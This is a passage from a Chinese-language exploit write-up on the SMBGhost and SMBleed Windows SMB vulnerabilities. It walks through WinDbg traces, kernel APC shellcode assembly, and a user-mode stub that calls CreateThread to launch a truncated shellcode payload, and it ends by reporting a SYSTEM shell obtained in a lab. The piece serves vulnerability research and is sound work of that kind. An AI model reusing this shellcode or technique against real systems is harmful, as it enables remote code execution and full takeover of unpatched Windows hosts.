LDR_DATA_TABLE_ENTRY結構偏移0x30處為模塊基址,偏移0x58處為BaseDllName,其起始處為模塊名的unicode長度(兩個字節),偏移0x8處為該模塊的unicode字符串。通過長度和字符串這兩個特征可以定位kernel32模塊,并通過DllBase字段獲取基址。在實際操作中需要計算這些地址相對于InMemoryOrderLinks的偏移。
1: kd> dt _LDR_DATA_TABLE_ENTRY 0x12c2b00
nt!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000`012c30f0 - 0x00000000`012c23e0 ]
+0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000`012c3100 - 0x00000000`012c23f0 ]
+0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`012c45b0 - 0x00000000`012c3110 ]
+0x030 DllBase : 0x00007fff`e8ab0000 Void
+0x038 EntryPoint : 0x00007fff`e8ac7c70 Void
+0x040 SizeOfImage : 0xb2000
+0x048 FullDllName : _UNICODE_STRING "C:\Windows\System32\KERNEL32.DLL"
+0x058 BaseDllName : _UNICODE_STRING "KERNEL32.DLL"
1: kd> dx -id 0,0,ffff818c698db380 -r1 -nv (*((ntkrnlmp!_UNICODE_STRING *)0x12c2b58))
(*((ntkrnlmp!_UNICODE_STRING *)0x12c2b58)) : "KERNEL32.DLL" [Type: _UNICODE_STRING]
[+0x000] Length : 0x18 [Type: unsigned short]
[+0x002] MaximumLength : 0x1a [Type: unsigned short]
[+0x008] Buffer : 0x12c2cb8 : "KERNEL32.DLL" [Type: wchar_t *]
然后在kernel32模塊的導出表中尋找CreateThread函數,然后將其保存至KernelApcRoutine函數的參數SystemArgument1中,傳送給userland_start_thread。
; save CreateThread address to SystemArgument1
mov [rbx], rax
kd> dq rbx l1
fffffe80`766458e0 00000000`00001000
kd> p
fffff780`00000aea 31c9 xor ecx,ecx
kd> dq fffffe80`766458e0 l1
fffffe80`766458e0 00007ffa`d229a810
kd> u 7ffa`d229a810
KERNEL32!CreateThreadStub:
00007ffa`d229a810 4c8bdc mov r11,rsp
00007ffa`d229a813 4883ec48 sub rsp,48h
00007ffa`d229a817 448b542470 mov r10d,dword ptr [rsp+70h]
00007ffa`d229a81c 488b442478 mov rax,qword ptr [rsp+78h]
00007ffa`d229a821 4181e204000100 and r10d,10004h
00007ffa`d229a828 498943f0 mov qword ptr [r11-10h],rax
00007ffa`d229a82c 498363e800 and qword ptr [r11-18h],0
00007ffa`d229a831 458953e0 mov dword ptr [r11-20h],r10d
然后將QUEUEING_KAPC置0,將IRQL 恢復至APC_LEVEL。
_kernel_kapc_routine_exit:
xor ecx, ecx
; clear queueing kapc flag, allow other hijacked system call to run shellcode
mov byte [rbp+DATA_QUEUEING_KAPC_OFFSET], cl
; restore IRQL to APC_LEVEL
mov cl, 1
mov cr8, rcx
用戶態Shellcode
最終成功運行到用戶模式Shellcode,用戶模式代碼包含userland_start_thread和功能Shellcode(userland_payload),在userland_start_thread中通過調用CreateThread函數去執行功能Shellcode。userland_payload這里不再介紹。
userland_start_thread:
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
xchg rdx, rax ; rdx is CreateThread address passed from kernel
xor ecx, ecx ; lpThreadAttributes = NULL
push rcx ; lpThreadId = NULL
push rcx ; dwCreationFlags = 0
mov r9, rcx ; lpParameter = NULL
lea r8, [rel userland_payload] ; lpStartAddr
mov edx, ecx ; dwStackSize = 0
sub rsp, 0x20
call rax
add rsp, 0x30
ret
userland_payload:
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52......"
kd> u r8
00000000`00bc001d fc cld
00000000`00bc001e 4883e4f0 and rsp,0FFFFFFFFFFFFFFF0h
00000000`00bc0022 e8c0000000 call 00000000`00bc00e7
00000000`00bc0027 4151 push r9
00000000`00bc0029 4150 push r8
00000000`00bc002b 52 push rdx
00000000`00bc002c 51 push rcx
00000000`00bc002d 56 push rsi
總結~
本文對公開的關于 SMBGhost 和 SMBleed 漏洞的幾種利用思路進行跟進,逆向了一些關鍵結構和算法特性,最終在實驗環境下拿到了System Shell。非常感謝 blackwhite 和 zcgonvh 兩位師傅,在此期間給予的指導和幫助,希望有天能像他們一樣優秀。最后放上兩種利用思路的復現結果:


參考文獻
-
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
-
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1206
-
https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1346/
暫無評論